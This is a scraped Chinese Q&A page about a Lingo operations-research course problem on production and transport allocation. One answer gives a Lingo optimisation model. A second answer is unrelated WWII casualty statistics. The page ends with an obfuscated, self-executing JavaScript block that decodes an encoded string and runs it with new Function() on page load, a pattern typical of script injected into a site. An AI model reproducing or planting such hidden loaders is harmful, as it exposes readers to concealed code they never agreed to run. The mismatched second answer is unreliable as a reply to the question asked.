运筹学用Lingo做课程设计选题(17):生产调运配问题

2025-03-16 07:36:22
推荐回答(2个)
回答1:

其中produce是第j车间生产第n产品产量
transport1是第j车间到第k项目运输n产品的量
transport2是第i仓库到第j车间运输第m材料的量
transport3是第i仓库到第k项目运输塑钢门窗的量
transport4是第i仓库到第k项目运输钢材m的量
model:
sets:
warehouse/1..2/:ownership2;
factory/1..2/:ttime;
item/1..5/:demand3;
material/1..3/:;
production/1..2/:;
link1(material,warehouse):ownership1;
link2(production,material):expend;
link3(factory,production):time,cost,produce,ability;
link4(item,production):demand1;
link5(item,material):demand2;
link6(factory,item):transportcost1;
link7(factory,item,production):transport1;
link8(warehouse,factory):transportcost2;
link9(warehouse,factory,material):transport2;
link10(warehouse,item):transportcost3,transport3;
link11(warehouse,item,material):transport4;
endsets
data:
ownership1=
5000 7000
5500 6500
10000 6000;
ownership2=380 450;
expend=
9 13 23
11 15 20;
time=
30 40
40 35;
ttime=20000 10000;
ability=
120 80
100 120;
cost=
320 300
280 360;
demand1=
80 0
100 90
100 60
60 50
30 120;
demand2=
50 30 40
0 120 100
70 120 160
40 90 30
60 90 40;
demand3=140 120 100 220 70;
transportcost1=
20 40 100 50 40
40 50 120 70 60;
transportcost2=
90 50
60 40;
transportcost3=
10 10 20 30 20
10 15 15 5 30;
enddata
min=@sum(link11(i,k,m):transport4(i,k,m)*transportcost3(i,k))
+@sum(link10(i,k):transport3(i,k)*transportcost3(i,k))
+@sum(link9(i,j,m):transport2(i,j,m)*transportcost2(i,j))
+@sum(link7(j,k,n):transport1(j,k,n)*transportcost1(j,k))
+@sum(link3(j,n):produce(j,n)*cost(j,n)+@if(produce(j,n)#gt#ability(j,n),200*(produce(j,n)-ability(j,n)),0));
@for(factory(j):@for(material(m):@sum(warehouse(i):transport2(i,j,m))=@sum(production(n):produce(j,n)*expend(n,m))));
@for(production(n):@for(factory(j):@sum(item(k):transport1(j,k,n))=produce(j,n)));
@for(warehouse(i):@sum(item(k):transport3(i,k))<=ownership2(i));
@for(warehouse(i):@for(material(m):@sum(item(k):transport4(i,k,m))+@sum(factory(j):transport2(i,j,m))<=ownership1(m,i)));
@for(factory(i):@sum(production(n):produce(i,n)*time(i,n))<=ttime(i));
@for(item(k):@for(production(n):@sum(factory(j):transport1(j,k,n))=demand1(k,n)));
@for(item(k):@for(material(m):@sum(warehouse(i):transport4(i,k,m))=demand2(k,m)));
@for(item(k):@sum(warehouse(i):transport3(i,k))=demand3(k));
end

回答2:

以二战为例:
军队在战争中的损失(减员)一般由死亡、伤病、被俘、失踪等几部分构成,而军人的死亡又包括阵亡、因伤致死、其它原因致死等成分。以苏军在苏德战争中的损失为例:苏军损失累计为2959.3万。其中死亡为681.7万(阵亡占76%,因伤致死占16%,因病、事故等死亡占8%),被俘或失踪为445.6万,伤病累计为1832万人次(受伤占82.9%,因病减员占16.6%,冻伤占0.5%)。另外,军队所处的战争态势不同,其损失的构成便有极大差别,以苏德战争期间的苏军为例,苏军的历年月均损失为:1941年71万,1942年61.4万,1943年65.5万,1944年57.3万,1945年70万,相差并不太大,损失最惨的1941年与损失最轻微的1944年之比不过为1.24倍,但其历年损失中死、伤、俘构成比例却有天壤之别,其1941年死亡及被俘失踪人员月平均为49.6万,1942年为27.1万,1943年19.2万,1944年14.7万,1945年18.6万,其高低之差达3.37倍以上。一般来说,处于进攻的一方其伤员所占比例较大,而败退的一方,由于其伤员无法及时撤出,或最终成为俘虏,或因得不到有效医治而死亡,因此败退的一方其损失中死亡、被俘人员所占的比例一般都较大,其中又尤以被合围的部队最为典型,如被合围在斯大林格勒的28万德军,除了3万多伤员空运出围外,剩下的就非死即俘了。日本在太平洋战场所遇也有类与此,一个个的岛屿成了已丧失制海权的日军的死亡陷阱,死亡成了绝大部分守岛日军的归宿(相当一部分日军是被美军困死而非战死),因此,日军在太平洋战争中的伤病人数虽不比在中国战场上的大很多,但两个战场的死亡人数却差了近3倍。
1. 苏军在第二次世界大战中的损失:
(1) 苏芬战争(1939年11月至1940年3月):苏军死亡4.9万,受伤15.9万人次。
(2) 苏德战争(1941年6月至1945年5月):苏军死亡681.7万,被俘或失踪445.6万人,伤病1832万人次。
附:苏德战争双方历年损失数:
1941年:德军损失85万人。其中死亡30万人、被俘或失踪数千人。
苏军损失447万人。其中死亡80万人、被俘或失踪234万人。
1942年:德军损失200万人。其中死亡50万人,失踪或被俘约10万人。
苏军损失737万人。其中死亡174万人、被俘或失踪152万人。
1943年:德军损失290万人。其中死亡70万人,被俘或失踪约20万人。
苏军损失786万人。其中死亡194万人、失踪或被俘37万人。
1944年:德军损失300万人。其中死亡123万人,被俘或失踪约60万人。
苏军损失688万人。其中死亡160万人、失踪或被俘17万人。
1945年:德军损失约300万人。其中死亡50多万人,被俘或失踪约70多万人。
苏军损失301万人。其中死亡73万人、失踪或被俘7万人。
合计:德军(含党卫队)在苏德战争中损失累计近1200万。其中死亡320多万人、被俘160万人(不含1945年5月9日后投降或受降者的120多万德军)、伤病累计约700万人次。最终死亡人数为380万(含死亡的俘虏)。以上数据包括奥地利、苏台德、阿尔萨斯等地的德意志人。
苏军在苏德战争中的损失累计为2959.3万。其中死亡681.7万人、被俘或失踪445.6万人、伤病累计1832万人次。最终死亡人数为865.6万(含死亡的俘虏)。以上数据包括内务部队及边防军等,但不包括尚未到所在部队报到的在途新兵,如包括新兵,则死亡人数约为737万人,最终死亡人数为915.3万人。
(3)苏军参与的另外几场战争(如苏波1939.9-1939.10、苏日1945.8)死伤人数均远远低于苏芬战争和苏德战争,苏波战争:苏军死亡人数仅737人,苏日战争:苏军损失累计3.64万人,其中死亡1.2万人。
2. 德军在第二次世界大战中的死亡情况(不含被俘及伤病):德军在第二次世界大战中死亡人数总计为485万人(包括死亡的俘虏):对苏作战死亡380万人(含俘虏),其他主要分布于:意大利15万、西欧34万、非洲1.6万、南斯拉夫5万等等。
3. 中国军队在第二次世界大战中的死伤情况(1937年-1945年,不含俘降人员):(1)国民党军队死伤363.3万。其中阵亡132万、病亡等42.2万,受伤累计189万人次。(2)共产党军队伤亡人数有50多万和70多万两种说法
4. 日军在第二次世界大战中的死亡情况(不含被俘及伤病):日军在第二次世界大战中死亡人数总计为185万人:(1)对美英等国作战死亡129万人(包括飞虎队在中国战场打死的日军)。主要分布于菲律宾(52万)、缅甸(18万,包括中国远征军打死的1万多日军)、冲绳(10万)等等。(2)在中国战场死亡44万多人(1937年7月-1945年10月,伤、亡、俘累计则为133万。另外1931年9月-1937年7月间损失累计为17万,其中死亡2.6万)。(3)苏日战争死亡8.3万人(1945年8月9日-1945年8月21日)等等。
5. 美军在第二次世界大战中的伤亡情况(不含俘虏):美军在第二次世界大战中伤亡人员总计为101.3万。其中死亡40.5万人(阵亡占29.1万人)、受伤累计60.8万人次。美军伤亡人员约70%分布于欧非战场,其中仅西欧战场(1944年6月-1945年5月)便有13.5万人阵亡、45.1万人(次)受伤。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();